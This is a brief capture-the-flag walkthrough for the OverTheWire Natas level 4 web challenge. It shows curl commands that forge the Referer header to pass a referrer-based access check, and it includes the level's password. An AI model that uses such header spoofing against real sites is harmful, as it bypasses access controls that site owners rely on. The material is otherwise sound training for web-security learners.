http://natas4.natas.labs.overthewire.org
Username: natas4
Password: (natas4_password)
The clue for this challenge is that access should be allowed only for users coming from http://natas5.natas.labs.overthewire.org

After that, we inspect the page source.

curl (short for Client URL) is a command-line tool used to transfer data to or from a server using a variety of internet protocols — most commonly HTTP and HTTPS, but also FTP, SMTP, SCP, and more.

curl -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \
-H "Referer: http://natas5.natas.labs.overthewire.org/" \
http://natas4.natas.labs.overthewire.org/
-u user:pass — Supplies Basic Auth credentials.
-H "Referer: …" — Fakes the page you’re “coming from”.
URL — The target server/page.

You can also achieve this using the -e flag or the --referer option.
curl -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \
-e "http://natas5.natas.labs.overthewire.org/" \
http://natas4.natas.labs.overthewire.org/
or
curl -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ \
--referer "http://natas5.natas.labs.overthewire.org/" \
http://natas4.natas.labs.overthewire.org/

Awesome! You can use this flag to access the next round.